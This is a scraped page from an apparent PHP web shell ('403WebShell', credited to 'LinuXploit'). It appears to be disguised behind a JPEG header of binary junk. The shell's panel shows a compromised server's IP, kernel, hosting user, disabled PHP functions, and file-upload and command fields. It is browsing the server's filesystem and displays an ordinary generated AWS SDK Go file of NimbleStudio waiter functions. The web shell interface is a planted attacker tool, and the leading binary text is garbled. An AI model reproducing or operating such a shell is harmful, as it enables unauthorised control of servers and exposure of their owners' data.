JFIF ( %!1"%)-...383.7(-.+  -%&--------------------------------------------------"J !1"AQaq2BR#r3Sbs4T$Dd(!1"2AQaq# ?q& JX"-` Es?Bl 1( H6fX[vʆEiB!j{hu85o%TI/*T `WTXط8%ɀt*$PaSIa9gkG$t h&)ٞ)O.4uCm!w*:K*I&bDl"+ ӹ=<Ӷ|FtI{7_/,/T ̫ԷC ȷMq9[1w!R{ U<?СCԀdc8'124,I'3-G s4IcWq$Ro瓩!"j']VӤ'B4H8n)iv$Hb=B:B=YݚXZILcA g$ΕzuPD? !զIEÁ $D'l"gp`+6֏$1Ľ˫EjUpܣvDت\2Wڰ_iIْ/~'cŧE:ɝBn9&rt,H`*Tf֙LK$#d "p/n$J oJ@'I0B+NRwj2GH.BWLOiGP W@#"@ę| 2@P D2[Vj!VE11pHn,c~T;U"H㤑EBxHClTZ7:х5,w=.`,:Lt1tE9""@pȠb\I_IƝpe &܏/ 3, WE2aDK &cy(3nI7'0W էΠ\&@:נ!oZIܻ1j@=So LJ{5UĜiʒP H{^iaH?U2j@<'13nXkdP&%ɰ&-(<]Vlya7 6c1HJcmǸ!˗GB3Ԏߏ\=qIPNĉA)JeJtEJbIxWbdóT V'0 WH*|D u6ӈHZh[8e  $v>p!rIWeB,i '佧 )g#[)m!tahm_<6nL/ BcT{"HSfp7|ybi8'.ih%,wm  403WebShell
403Webshell
Server IP : 84.32.84.141  /  Your IP : 216.73.217.6
Web Server : LiteSpeed
System : Linux id-dci-web1986.main-hosting.eu 5.14.0-611.26.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Jan 29 05:24:47 EST 2026 x86_64
User : u686484674 ( 686484674)
PHP Version : 8.0.30
Disable Function : system, exec, shell_exec, passthru, mysql_list_dbs, ini_alter, dl, symlink, link, chgrp, leak, popen, apache_child_terminate, virtual, mb_send_mail
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /proc/self/root/opt/go/pkg/mod/github.com/aws/aws-sdk-go@v1.55.5/service/nimblestudio/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /proc/self/root/opt/go/pkg/mod/github.com/aws/aws-sdk-go@v1.55.5/service/nimblestudio/waiters.go
// Code generated by private/model/cli/gen-api/main.go. DO NOT EDIT.

package nimblestudio

import (
	"time"

	"github.com/aws/aws-sdk-go/aws"
	"github.com/aws/aws-sdk-go/aws/request"
)

// WaitUntilLaunchProfileDeleted uses the AmazonNimbleStudio API operation
// GetLaunchProfile to wait for a condition to be met before returning.
// If the condition is not met within the max attempt window, an error will
// be returned.
func (c *NimbleStudio) WaitUntilLaunchProfileDeleted(input *GetLaunchProfileInput) error {
	return c.WaitUntilLaunchProfileDeletedWithContext(aws.BackgroundContext(), input)
}

// WaitUntilLaunchProfileDeletedWithContext is an extended version of WaitUntilLaunchProfileDeleted.
// With the support for passing in a context and options to configure the
// Waiter and the underlying request options.
//
// The context must be non-nil and will be used for request cancellation. If
// the context is nil a panic will occur. In the future the SDK may create
// sub-contexts for http.Requests. See https://golang.org/pkg/context/
// for more information on using Contexts.
func (c *NimbleStudio) WaitUntilLaunchProfileDeletedWithContext(ctx aws.Context, input *GetLaunchProfileInput, opts ...request.WaiterOption) error {
	w := request.Waiter{
		Name:        "WaitUntilLaunchProfileDeleted",
		MaxAttempts: 150,
		Delay:       request.ConstantWaiterDelay(5 * time.Second),
		Acceptors: []request.WaiterAcceptor{
			{
				State:   request.SuccessWaiterState,
				Matcher: request.PathWaiterMatch, Argument: "launchProfile.state",
				Expected: "DELETED",
			},
			{
				State:   request.FailureWaiterState,
				Matcher: request.PathWaiterMatch, Argument: "launchProfile.state",
				Expected: "DELETE_FAILED",
			},
		},
		Logger: c.Config.Logger,
		NewRequest: func(opts []request.Option) (*request.Request, error) {
			var inCpy *GetLaunchProfileInput
			if input != nil {
				tmp := *input
				inCpy = &tmp
			}
			req, _ := c.GetLaunchProfileRequest(inCpy)
			req.SetContext(ctx)
			req.ApplyOptions(opts...)
			return req, nil
		},
	}
	w.ApplyOptions(opts...)

	return w.WaitWithContext(ctx)
}

// WaitUntilLaunchProfileReady uses the AmazonNimbleStudio API operation
// GetLaunchProfile to wait for a condition to be met before returning.
// If the condition is not met within the max attempt window, an error will
// be returned.
func (c *NimbleStudio) WaitUntilLaunchProfileReady(input *GetLaunchProfileInput) error {
	return c.WaitUntilLaunchProfileReadyWithContext(aws.BackgroundContext(), input)
}

// WaitUntilLaunchProfileReadyWithContext is an extended version of WaitUntilLaunchProfileReady.
// With the support for passing in a context and options to configure the
// Waiter and the underlying request options.
//
// The context must be non-nil and will be used for request cancellation. If
// the context is nil a panic will occur. In the future the SDK may create
// sub-contexts for http.Requests. See https://golang.org/pkg/context/
// for more information on using Contexts.
func (c *NimbleStudio) WaitUntilLaunchProfileReadyWithContext(ctx aws.Context, input *GetLaunchProfileInput, opts ...request.WaiterOption) error {
	w := request.Waiter{
		Name:        "WaitUntilLaunchProfileReady",
		MaxAttempts: 150,
		Delay:       request.ConstantWaiterDelay(5 * time.Second),
		Acceptors: []request.WaiterAcceptor{
			{
				State:   request.SuccessWaiterState,
				Matcher: request.PathWaiterMatch, Argument: "launchProfile.state",
				Expected: "READY",
			},
			{
				State:   request.FailureWaiterState,
				Matcher: request.PathWaiterMatch, Argument: "launchProfile.state",
				Expected: "CREATE_FAILED",
			},
			{
				State:   request.FailureWaiterState,
				Matcher: request.PathWaiterMatch, Argument: "launchProfile.state",
				Expected: "UPDATE_FAILED",
			},
		},
		Logger: c.Config.Logger,
		NewRequest: func(opts []request.Option) (*request.Request, error) {
			var inCpy *GetLaunchProfileInput
			if input != nil {
				tmp := *input
				inCpy = &tmp
			}
			req, _ := c.GetLaunchProfileRequest(inCpy)
			req.SetContext(ctx)
			req.ApplyOptions(opts...)
			return req, nil
		},
	}
	w.ApplyOptions(opts...)

	return w.WaitWithContext(ctx)
}

// WaitUntilStreamingImageDeleted uses the AmazonNimbleStudio API operation
// GetStreamingImage to wait for a condition to be met before returning.
// If the condition is not met within the max attempt window, an error will
// be returned.
func (c *NimbleStudio) WaitUntilStreamingImageDeleted(input *GetStreamingImageInput) error {
	return c.WaitUntilStreamingImageDeletedWithContext(aws.BackgroundContext(), input)
}

// WaitUntilStreamingImageDeletedWithContext is an extended version of WaitUntilStreamingImageDeleted.
// With the support for passing in a context and options to configure the
// Waiter and the underlying request options.
//
// The context must be non-nil and will be used for request cancellation. If
// the context is nil a panic will occur. In the future the SDK may create
// sub-contexts for http.Requests. See https://golang.org/pkg/context/
// for more information on using Contexts.
func (c *NimbleStudio) WaitUntilStreamingImageDeletedWithContext(ctx aws.Context, input *GetStreamingImageInput, opts ...request.WaiterOption) error {
	w := request.Waiter{
		Name:        "WaitUntilStreamingImageDeleted",
		MaxAttempts: 60,
		Delay:       request.ConstantWaiterDelay(2 * time.Second),
		Acceptors: []request.WaiterAcceptor{
			{
				State:   request.SuccessWaiterState,
				Matcher: request.PathWaiterMatch, Argument: "streamingImage.state",
				Expected: "DELETED",
			},
			{
				State:   request.FailureWaiterState,
				Matcher: request.PathWaiterMatch, Argument: "streamingImage.state",
				Expected: "DELETE_FAILED",
			},
		},
		Logger: c.Config.Logger,
		NewRequest: func(opts []request.Option) (*request.Request, error) {
			var inCpy *GetStreamingImageInput
			if input != nil {
				tmp := *input
				inCpy = &tmp
			}
			req, _ := c.GetStreamingImageRequest(inCpy)
			req.SetContext(ctx)
			req.ApplyOptions(opts...)
			return req, nil
		},
	}
	w.ApplyOptions(opts...)

	return w.WaitWithContext(ctx)
}

// WaitUntilStreamingImageReady uses the AmazonNimbleStudio API operation
// GetStreamingImage to wait for a condition to be met before returning.
// If the condition is not met within the max attempt window, an error will
// be returned.
func (c *NimbleStudio) WaitUntilStreamingImageReady(input *GetStreamingImageInput) error {
	return c.WaitUntilStreamingImageReadyWithContext(aws.BackgroundContext(), input)
}

// WaitUntilStreamingImageReadyWithContext is an extended version of WaitUntilStreamingImageReady.
// With the support for passing in a context and options to configure the
// Waiter and the underlying request options.
//
// The context must be non-nil and will be used for request cancellation. If
// the context is nil a panic will occur. In the future the SDK may create
// sub-contexts for http.Requests. See https://golang.org/pkg/context/
// for more information on using Contexts.
func (c *NimbleStudio) WaitUntilStreamingImageReadyWithContext(ctx aws.Context, input *GetStreamingImageInput, opts ...request.WaiterOption) error {
	w := request.Waiter{
		Name:        "WaitUntilStreamingImageReady",
		MaxAttempts: 60,
		Delay:       request.ConstantWaiterDelay(2 * time.Second),
		Acceptors: []request.WaiterAcceptor{
			{
				State:   request.SuccessWaiterState,
				Matcher: request.PathWaiterMatch, Argument: "streamingImage.state",
				Expected: "READY",
			},
			{
				State:   request.FailureWaiterState,
				Matcher: request.PathWaiterMatch, Argument: "streamingImage.state",
				Expected: "CREATE_FAILED",
			},
			{
				State:   request.FailureWaiterState,
				Matcher: request.PathWaiterMatch, Argument: "streamingImage.state",
				Expected: "UPDATE_FAILED",
			},
		},
		Logger: c.Config.Logger,
		NewRequest: func(opts []request.Option) (*request.Request, error) {
			var inCpy *GetStreamingImageInput
			if input != nil {
				tmp := *input
				inCpy = &tmp
			}
			req, _ := c.GetStreamingImageRequest(inCpy)
			req.SetContext(ctx)
			req.ApplyOptions(opts...)
			return req, nil
		},
	}
	w.ApplyOptions(opts...)

	return w.WaitWithContext(ctx)
}

// WaitUntilStreamingSessionDeleted uses the AmazonNimbleStudio API operation
// GetStreamingSession to wait for a condition to be met before returning.
// If the condition is not met within the max attempt window, an error will
// be returned.
func (c *NimbleStudio) WaitUntilStreamingSessionDeleted(input *GetStreamingSessionInput) error {
	return c.WaitUntilStreamingSessionDeletedWithContext(aws.BackgroundContext(), input)
}

// WaitUntilStreamingSessionDeletedWithContext is an extended version of WaitUntilStreamingSessionDeleted.
// With the support for passing in a context and options to configure the
// Waiter and the underlying request options.
//
// The context must be non-nil and will be used for request cancellation. If
// the context is nil a panic will occur. In the future the SDK may create
// sub-contexts for http.Requests. See https://golang.org/pkg/context/
// for more information on using Contexts.
func (c *NimbleStudio) WaitUntilStreamingSessionDeletedWithContext(ctx aws.Context, input *GetStreamingSessionInput, opts ...request.WaiterOption) error {
	w := request.Waiter{
		Name:        "WaitUntilStreamingSessionDeleted",
		MaxAttempts: 180,
		Delay:       request.ConstantWaiterDelay(5 * time.Second),
		Acceptors: []request.WaiterAcceptor{
			{
				State:   request.SuccessWaiterState,
				Matcher: request.PathWaiterMatch, Argument: "session.state",
				Expected: "DELETED",
			},
			{
				State:   request.FailureWaiterState,
				Matcher: request.PathWaiterMatch, Argument: "session.state",
				Expected: "DELETE_FAILED",
			},
		},
		Logger: c.Config.Logger,
		NewRequest: func(opts []request.Option) (*request.Request, error) {
			var inCpy *GetStreamingSessionInput
			if input != nil {
				tmp := *input
				inCpy = &tmp
			}
			req, _ := c.GetStreamingSessionRequest(inCpy)
			req.SetContext(ctx)
			req.ApplyOptions(opts...)
			return req, nil
		},
	}
	w.ApplyOptions(opts...)

	return w.WaitWithContext(ctx)
}

// WaitUntilStreamingSessionReady uses the AmazonNimbleStudio API operation
// GetStreamingSession to wait for a condition to be met before returning.
// If the condition is not met within the max attempt window, an error will
// be returned.
func (c *NimbleStudio) WaitUntilStreamingSessionReady(input *GetStreamingSessionInput) error {
	return c.WaitUntilStreamingSessionReadyWithContext(aws.BackgroundContext(), input)
}

// WaitUntilStreamingSessionReadyWithContext is an extended version of WaitUntilStreamingSessionReady.
// With the support for passing in a context and options to configure the
// Waiter and the underlying request options.
//
// The context must be non-nil and will be used for request cancellation. If
// the context is nil a panic will occur. In the future the SDK may create
// sub-contexts for http.Requests. See https://golang.org/pkg/context/
// for more information on using Contexts.
func (c *NimbleStudio) WaitUntilStreamingSessionReadyWithContext(ctx aws.Context, input *GetStreamingSessionInput, opts ...request.WaiterOption) error {
	w := request.Waiter{
		Name:        "WaitUntilStreamingSessionReady",
		MaxAttempts: 180,
		Delay:       request.ConstantWaiterDelay(10 * time.Second),
		Acceptors: []request.WaiterAcceptor{
			{
				State:   request.SuccessWaiterState,
				Matcher: request.PathWaiterMatch, Argument: "session.state",
				Expected: "READY",
			},
			{
				State:   request.FailureWaiterState,
				Matcher: request.PathWaiterMatch, Argument: "session.state",
				Expected: "CREATE_FAILED",
			},
			{
				State:   request.FailureWaiterState,
				Matcher: request.PathWaiterMatch, Argument: "session.state",
				Expected: "START_FAILED",
			},
		},
		Logger: c.Config.Logger,
		NewRequest: func(opts []request.Option) (*request.Request, error) {
			var inCpy *GetStreamingSessionInput
			if input != nil {
				tmp := *input
				inCpy = &tmp
			}
			req, _ := c.GetStreamingSessionRequest(inCpy)
			req.SetContext(ctx)
			req.ApplyOptions(opts...)
			return req, nil
		},
	}
	w.ApplyOptions(opts...)

	return w.WaitWithContext(ctx)
}

// WaitUntilStreamingSessionStopped uses the AmazonNimbleStudio API operation
// GetStreamingSession to wait for a condition to be met before returning.
// If the condition is not met within the max attempt window, an error will
// be returned.
func (c *NimbleStudio) WaitUntilStreamingSessionStopped(input *GetStreamingSessionInput) error {
	return c.WaitUntilStreamingSessionStoppedWithContext(aws.BackgroundContext(), input)
}

// WaitUntilStreamingSessionStoppedWithContext is an extended version of WaitUntilStreamingSessionStopped.
// With the support for passing in a context and options to configure the
// Waiter and the underlying request options.
//
// The context must be non-nil and will be used for request cancellation. If
// the context is nil a panic will occur. In the future the SDK may create
// sub-contexts for http.Requests. See https://golang.org/pkg/context/
// for more information on using Contexts.
func (c *NimbleStudio) WaitUntilStreamingSessionStoppedWithContext(ctx aws.Context, input *GetStreamingSessionInput, opts ...request.WaiterOption) error {
	w := request.Waiter{
		Name:        "WaitUntilStreamingSessionStopped",
		MaxAttempts: 180,
		Delay:       request.ConstantWaiterDelay(5 * time.Second),
		Acceptors: []request.WaiterAcceptor{
			{
				State:   request.SuccessWaiterState,
				Matcher: request.PathWaiterMatch, Argument: "session.state",
				Expected: "STOPPED",
			},
			{
				State:   request.FailureWaiterState,
				Matcher: request.PathWaiterMatch, Argument: "session.state",
				Expected: "STOP_FAILED",
			},
		},
		Logger: c.Config.Logger,
		NewRequest: func(opts []request.Option) (*request.Request, error) {
			var inCpy *GetStreamingSessionInput
			if input != nil {
				tmp := *input
				inCpy = &tmp
			}
			req, _ := c.GetStreamingSessionRequest(inCpy)
			req.SetContext(ctx)
			req.ApplyOptions(opts...)
			return req, nil
		},
	}
	w.ApplyOptions(opts...)

	return w.WaitWithContext(ctx)
}

// WaitUntilStreamingSessionStreamReady uses the AmazonNimbleStudio API operation
// GetStreamingSessionStream to wait for a condition to be met before returning.
// If the condition is not met within the max attempt window, an error will
// be returned.
func (c *NimbleStudio) WaitUntilStreamingSessionStreamReady(input *GetStreamingSessionStreamInput) error {
	return c.WaitUntilStreamingSessionStreamReadyWithContext(aws.BackgroundContext(), input)
}

// WaitUntilStreamingSessionStreamReadyWithContext is an extended version of WaitUntilStreamingSessionStreamReady.
// With the support for passing in a context and options to configure the
// Waiter and the underlying request options.
//
// The context must be non-nil and will be used for request cancellation. If
// the context is nil a panic will occur. In the future the SDK may create
// sub-contexts for http.Requests. See https://golang.org/pkg/context/
// for more information on using Contexts.
func (c *NimbleStudio) WaitUntilStreamingSessionStreamReadyWithContext(ctx aws.Context, input *GetStreamingSessionStreamInput, opts ...request.WaiterOption) error {
	w := request.Waiter{
		Name:        "WaitUntilStreamingSessionStreamReady",
		MaxAttempts: 30,
		Delay:       request.ConstantWaiterDelay(5 * time.Second),
		Acceptors: []request.WaiterAcceptor{
			{
				State:   request.SuccessWaiterState,
				Matcher: request.PathWaiterMatch, Argument: "stream.state",
				Expected: "READY",
			},
			{
				State:   request.FailureWaiterState,
				Matcher: request.PathWaiterMatch, Argument: "stream.state",
				Expected: "CREATE_FAILED",
			},
		},
		Logger: c.Config.Logger,
		NewRequest: func(opts []request.Option) (*request.Request, error) {
			var inCpy *GetStreamingSessionStreamInput
			if input != nil {
				tmp := *input
				inCpy = &tmp
			}
			req, _ := c.GetStreamingSessionStreamRequest(inCpy)
			req.SetContext(ctx)
			req.ApplyOptions(opts...)
			return req, nil
		},
	}
	w.ApplyOptions(opts...)

	return w.WaitWithContext(ctx)
}

// WaitUntilStudioComponentDeleted uses the AmazonNimbleStudio API operation
// GetStudioComponent to wait for a condition to be met before returning.
// If the condition is not met within the max attempt window, an error will
// be returned.
func (c *NimbleStudio) WaitUntilStudioComponentDeleted(input *GetStudioComponentInput) error {
	return c.WaitUntilStudioComponentDeletedWithContext(aws.BackgroundContext(), input)
}

// WaitUntilStudioComponentDeletedWithContext is an extended version of WaitUntilStudioComponentDeleted.
// With the support for passing in a context and options to configure the
// Waiter and the underlying request options.
//
// The context must be non-nil and will be used for request cancellation. If
// the context is nil a panic will occur. In the future the SDK may create
// sub-contexts for http.Requests. See https://golang.org/pkg/context/
// for more information on using Contexts.
func (c *NimbleStudio) WaitUntilStudioComponentDeletedWithContext(ctx aws.Context, input *GetStudioComponentInput, opts ...request.WaiterOption) error {
	w := request.Waiter{
		Name:        "WaitUntilStudioComponentDeleted",
		MaxAttempts: 120,
		Delay:       request.ConstantWaiterDelay(1 * time.Second),
		Acceptors: []request.WaiterAcceptor{
			{
				State:   request.SuccessWaiterState,
				Matcher: request.PathWaiterMatch, Argument: "studioComponent.state",
				Expected: "DELETED",
			},
			{
				State:   request.FailureWaiterState,
				Matcher: request.PathWaiterMatch, Argument: "studioComponent.state",
				Expected: "DELETE_FAILED",
			},
		},
		Logger: c.Config.Logger,
		NewRequest: func(opts []request.Option) (*request.Request, error) {
			var inCpy *GetStudioComponentInput
			if input != nil {
				tmp := *input
				inCpy = &tmp
			}
			req, _ := c.GetStudioComponentRequest(inCpy)
			req.SetContext(ctx)
			req.ApplyOptions(opts...)
			return req, nil
		},
	}
	w.ApplyOptions(opts...)

	return w.WaitWithContext(ctx)
}

// WaitUntilStudioComponentReady uses the AmazonNimbleStudio API operation
// GetStudioComponent to wait for a condition to be met before returning.
// If the condition is not met within the max attempt window, an error will
// be returned.
func (c *NimbleStudio) WaitUntilStudioComponentReady(input *GetStudioComponentInput) error {
	return c.WaitUntilStudioComponentReadyWithContext(aws.BackgroundContext(), input)
}

// WaitUntilStudioComponentReadyWithContext is an extended version of WaitUntilStudioComponentReady.
// With the support for passing in a context and options to configure the
// Waiter and the underlying request options.
//
// The context must be non-nil and will be used for request cancellation. If
// the context is nil a panic will occur. In the future the SDK may create
// sub-contexts for http.Requests. See https://golang.org/pkg/context/
// for more information on using Contexts.
func (c *NimbleStudio) WaitUntilStudioComponentReadyWithContext(ctx aws.Context, input *GetStudioComponentInput, opts ...request.WaiterOption) error {
	w := request.Waiter{
		Name:        "WaitUntilStudioComponentReady",
		MaxAttempts: 60,
		Delay:       request.ConstantWaiterDelay(2 * time.Second),
		Acceptors: []request.WaiterAcceptor{
			{
				State:   request.SuccessWaiterState,
				Matcher: request.PathWaiterMatch, Argument: "studioComponent.state",
				Expected: "READY",
			},
			{
				State:   request.FailureWaiterState,
				Matcher: request.PathWaiterMatch, Argument: "studioComponent.state",
				Expected: "CREATE_FAILED",
			},
			{
				State:   request.FailureWaiterState,
				Matcher: request.PathWaiterMatch, Argument: "studioComponent.state",
				Expected: "UPDATE_FAILED",
			},
		},
		Logger: c.Config.Logger,
		NewRequest: func(opts []request.Option) (*request.Request, error) {
			var inCpy *GetStudioComponentInput
			if input != nil {
				tmp := *input
				inCpy = &tmp
			}
			req, _ := c.GetStudioComponentRequest(inCpy)
			req.SetContext(ctx)
			req.ApplyOptions(opts...)
			return req, nil
		},
	}
	w.ApplyOptions(opts...)

	return w.WaitWithContext(ctx)
}

// WaitUntilStudioDeleted uses the AmazonNimbleStudio API operation
// GetStudio to wait for a condition to be met before returning.
// If the condition is not met within the max attempt window, an error will
// be returned.
func (c *NimbleStudio) WaitUntilStudioDeleted(input *GetStudioInput) error {
	return c.WaitUntilStudioDeletedWithContext(aws.BackgroundContext(), input)
}

// WaitUntilStudioDeletedWithContext is an extended version of WaitUntilStudioDeleted.
// With the support for passing in a context and options to configure the
// Waiter and the underlying request options.
//
// The context must be non-nil and will be used for request cancellation. If
// the context is nil a panic will occur. In the future the SDK may create
// sub-contexts for http.Requests. See https://golang.org/pkg/context/
// for more information on using Contexts.
func (c *NimbleStudio) WaitUntilStudioDeletedWithContext(ctx aws.Context, input *GetStudioInput, opts ...request.WaiterOption) error {
	w := request.Waiter{
		Name:        "WaitUntilStudioDeleted",
		MaxAttempts: 60,
		Delay:       request.ConstantWaiterDelay(2 * time.Second),
		Acceptors: []request.WaiterAcceptor{
			{
				State:   request.SuccessWaiterState,
				Matcher: request.PathWaiterMatch, Argument: "studio.state",
				Expected: "DELETED",
			},
			{
				State:   request.FailureWaiterState,
				Matcher: request.PathWaiterMatch, Argument: "studio.state",
				Expected: "DELETE_FAILED",
			},
		},
		Logger: c.Config.Logger,
		NewRequest: func(opts []request.Option) (*request.Request, error) {
			var inCpy *GetStudioInput
			if input != nil {
				tmp := *input
				inCpy = &tmp
			}
			req, _ := c.GetStudioRequest(inCpy)
			req.SetContext(ctx)
			req.ApplyOptions(opts...)
			return req, nil
		},
	}
	w.ApplyOptions(opts...)

	return w.WaitWithContext(ctx)
}

// WaitUntilStudioReady uses the AmazonNimbleStudio API operation
// GetStudio to wait for a condition to be met before returning.
// If the condition is not met within the max attempt window, an error will
// be returned.
func (c *NimbleStudio) WaitUntilStudioReady(input *GetStudioInput) error {
	return c.WaitUntilStudioReadyWithContext(aws.BackgroundContext(), input)
}

// WaitUntilStudioReadyWithContext is an extended version of WaitUntilStudioReady.
// With the support for passing in a context and options to configure the
// Waiter and the underlying request options.
//
// The context must be non-nil and will be used for request cancellation. If
// the context is nil a panic will occur. In the future the SDK may create
// sub-contexts for http.Requests. See https://golang.org/pkg/context/
// for more information on using Contexts.
func (c *NimbleStudio) WaitUntilStudioReadyWithContext(ctx aws.Context, input *GetStudioInput, opts ...request.WaiterOption) error {
	w := request.Waiter{
		Name:        "WaitUntilStudioReady",
		MaxAttempts: 60,
		Delay:       request.ConstantWaiterDelay(2 * time.Second),
		Acceptors: []request.WaiterAcceptor{
			{
				State:   request.SuccessWaiterState,
				Matcher: request.PathWaiterMatch, Argument: "studio.state",
				Expected: "READY",
			},
			{
				State:   request.FailureWaiterState,
				Matcher: request.PathWaiterMatch, Argument: "studio.state",
				Expected: "CREATE_FAILED",
			},
			{
				State:   request.FailureWaiterState,
				Matcher: request.PathWaiterMatch, Argument: "studio.state",
				Expected: "UPDATE_FAILED",
			},
		},
		Logger: c.Config.Logger,
		NewRequest: func(opts []request.Option) (*request.Request, error) {
			var inCpy *GetStudioInput
			if input != nil {
				tmp := *input
				inCpy = &tmp
			}
			req, _ := c.GetStudioRequest(inCpy)
			req.SetContext(ctx)
			req.ApplyOptions(opts...)
			return req, nil
		},
	}
	w.ApplyOptions(opts...)

	return w.WaitWithContext(ctx)
}

Youez - 2016 - github.com/yon3zu
LinuXploit